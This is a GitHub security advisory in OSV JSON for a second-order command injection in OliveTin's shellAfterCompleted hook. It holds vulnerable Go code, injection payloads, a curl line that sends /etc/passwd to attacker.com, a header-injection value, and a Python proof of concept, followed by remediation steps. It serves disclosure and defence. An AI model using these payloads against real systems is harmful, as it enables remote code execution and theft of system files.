{"id":"GHSA-vc6p-m6vx-6cwq","summary":"OliveTin: Second-Order OS Command Injection via shellAfterCompleted","details":"## Summary\n\nOliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.\n\nThis is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables.\n\n## Affected Versions\n\n- All versions containing `shellAfterCompleted` functionality (current codebase through latest)\n\n## Details\n\n### Vulnerable Code Path\n\nIn `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:\n\n```go\nfunc stepExecAfter(req *ExecutionRequest) bool {\n    if req.Binding.Action.ShellAfterCompleted == \"\" {\n        return true\n    }\n\n    // These variables are injected WITHOUT any type checking or sanitization\n    args := map[string]string{\n        \"output\":                 req.logEntry.Output,           // Arbitrary command stdout/stderr\n        \"exitCode\":               fmt.Sprintf(\"%v\", req.logEntry.ExitCode),\n        \"ot_executionTrackingId\": req.TrackingID,\n        \"ot_username\":            req.AuthenticatedUser.Username, // User-controlled via trusted headers\n    }\n\n    // Template rendered with unsanitized args\n    finalParsedCommand, err := tpl.ParseTemplateWithActionContext(\n        req.Binding.Action.ShellAfterCompleted,\n        req.Binding.Entity,\n        args,\n    )\n\n    // Directly passed to sh -c — NO safety check\n    cmd := wrapCommandInShell(ctx, finalParsedCommand)\n    // ...\n}\n```\n\nThe `wrapCommandInShell` function (in `executor_unix.go`) executes:\n\n```go\nfunc wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {\n    return exec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n}\n```\n\n### Why This Bypasses Existing Protections\n\nThe main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.\n\n**`stepExecAfter` calls none of these checks.** The `output` variable is:\n- Not a declared argument with a type — it's internally created\n- Not validated against any regex or type system\n- Not passed through `checkShellArgumentSafety`\n- Directly interpolated into a shell command template\n\nA `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location:\n\n```\nexecutor.go:693: if err := checkShellArgumentSafety(req); err != nil {\n```\n\nThis is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`.\n\n### Injection Vectors\n\n#### Vector 1: Output Reflection\n\nIf a primary action echoes user-controlled input:\n\n```yaml\nactions:\n  - title: Lookup User\n    shell: \"echo 'User: {{ .Arguments.username }}'\"\n    shellAfterCompleted: \"audit-log '{{ .Arguments.output }}'\"\n    arguments:\n      - name: username\n        type: ascii_identifier\n```\n\nWhile `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.\n\n#### Vector 2: Exec Mode Output Injection\n\nActions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell:\n\n```yaml\nactions:\n  - title: Read External Data\n    exec:\n      - cat\n      - /shared/data/{{ .Arguments.filename }}\n    shellAfterCompleted: \"process-result '{{ .Arguments.output }}'\"\n    arguments:\n      - name: filename\n        type: ascii_identifier\n```\n\nIf `/shared/data/report` contains text like:\n```\n'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nprocess-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'\n```\n\nThis executes arbitrary commands as the OliveTin process user.\n\n#### Vector 3: Username Injection via Trusted Headers\n\nWhen trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization:\n\n```yaml\nactions:\n  - title: Any Action\n    shell: \"echo ok\"\n    shellAfterCompleted: \"logger 'Action completed by {{ .Arguments.ot_username }}'\"\n```\n\nAn attacker sets:\n```\nX-Remote-User: '; id \u003e /tmp/pwned #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nlogger 'Action completed by '; id \u003e /tmp/pwned #'\n```\n\nThis chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with an action configured with `shellAfterCompleted`\n- The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n  - title: Process File\n    id: process-file\n    exec:\n      - cat\n      - \"/tmp/olivetin-data/{{ .Arguments.filename }}\"\n    shellAfterCompleted: \"echo '{{ .Arguments.output }}' \u003e\u003e /tmp/olivetin-audit.log\"\n    arguments:\n      - name: filename\n        type: ascii_identifier\n```\n\n### Step 1: Create a malicious data file\n\n```bash\n# On the server, create a file with shell injection payload\nmkdir -p /tmp/olivetin-data\necho \"normal_data'; touch /tmp/PWNED; echo '\" \u003e /tmp/olivetin-data/report\n```\n\n### Step 2: Execute the action normally\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"bindingId\":\"process-file\",\"arguments\":[{\"name\":\"filename\",\"value\":\"report\"}]}'\n```\n\n### Step 3: Verify injection\n\n```bash\nls -la /tmp/PWNED\n# If the file exists, the injection was successful\n```\n\n**Explanation**: The `cat` command (exec mode) safely reads the file. The output `normal_data'; touch /tmp/PWNED; echo '` is captured. Then `shellAfterCompleted` renders:\n```bash\necho 'normal_data'; touch /tmp/PWNED; echo '' \u003e\u003e /tmp/olivetin-audit.log\n```\nThis executes `touch /tmp/PWNED` as a second command.\n\n### Step 4: Username injection (with trusted headers)\n\n```yaml\n# Add to config\nauthHttpHeaderUsername: \"X-Remote-User\"\n```\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n  -H 'Content-Type: application/json' \\\n  -H \"X-Remote-User: test'; touch /tmp/PWNED2; echo '\" \\\n  -d '{\"bindingId\":\"some-action\",\"arguments\":[]}'\n```\n\nIf `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes.\n\n### Python PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Second-Order Command Injection via shellAfterCompleted output variable.\n\nDistinct from CVE-2026-27626 (password type injection in primary execution).\nThis exploits the post-execution step which has zero argument safety checks.\n\"\"\"\n\nimport requests\nimport time\nimport os\n\nTARGET = \"http://127.0.0.1:1337\"\nBINDING_ID = \"process-file\"\n\ndef setup_payload():\n    \"\"\"Create a data file containing shell injection payload.\"\"\"\n    os.makedirs(\"/tmp/olivetin-data\", exist_ok=True)\n    with open(\"/tmp/olivetin-data/exploit\", \"w\") as f:\n        f.write(\"data'; id \u003e /tmp/rce-proof; echo '\")\n    print(\"[+] Created malicious data file\")\n\ndef trigger_action():\n    \"\"\"Execute the action that reads the malicious file.\"\"\"\n    resp = requests.post(\n        f\"{TARGET}/api/StartActionAndWait\",\n        json={\n            \"bindingId\": BINDING_ID,\n            \"arguments\": [{\"name\": \"filename\", \"value\": \"exploit\"}]\n        },\n        headers={\"Content-Type\": \"application/json\"}\n    )\n    print(f\"[+] Action response: {resp.status_code}\")\n    return resp.json()\n\ndef verify_rce():\n    \"\"\"Check if the injected command executed.\"\"\"\n    time.sleep(2)\n    if os.path.exists(\"/tmp/rce-proof\"):\n        with open(\"/tmp/rce-proof\") as f:\n            print(f\"[!] RCE CONFIRMED: {f.read().strip()}\")\n        return True\n    else:\n        print(\"[-] /tmp/rce-proof not found\")\n        return False\n\nif __name__ == \"__main__\":\n    setup_payload()\n    result = trigger_action()\n    print(f\"[*] Action output: {result}\")\n    verify_rce()\n```\n\n## Impact\n\n- **Remote Code Execution**: Arbitrary commands execute as the OliveTin process user\n- **Chained with Finding 04**: Trusted header spoofing enables injection via `ot_username`\n- **Bypass of CVE-2026-27626 fix**: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened\n- **Exec mode bypass**: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted`\n\n## Remediation\n\n1. **Apply `checkShellArgumentSafety`** (or equivalent) to `stepExecAfter` variables\n2. **Shell-escape the `output`, `ot_username`, and `exitCode` values** before template substitution (e.g., using `shellescape.Quote()`)\n3. **Consider adding an exec-mode variant** for `shellAfterCompleted` to avoid shell interpretation entirely\n4. **Sanitize `ot_username`** to reject shell metacharacters regardless of the auth provider","aliases":["CVE-2026-75506"],"modified":"2026-11-18T22:00:04.129389620Z","published":"2026-11-18T21:55:09Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-18T21:55:09Z","nvd_published_at":"2026-11-18T21:18:02Z","cwe_ids":["CWE-74","CWE-78"]},"references":[{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75506"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/pull/1070"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/pull/1088"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c"},{"type":"PACKAGE","url":"https://github.com/OliveTin/OliveTin"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.18.1"}],"affected":[{"package":{"name":"github.com/OliveTin/OliveTin","ecosystem":"Go","purl":"pkg:golang/github.com/OliveTin/OliveTin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260728155752-e5d29b68da66"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vc6p-m6vx-6cwq/GHSA-vc6p-m6vx-6cwq.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H"}]}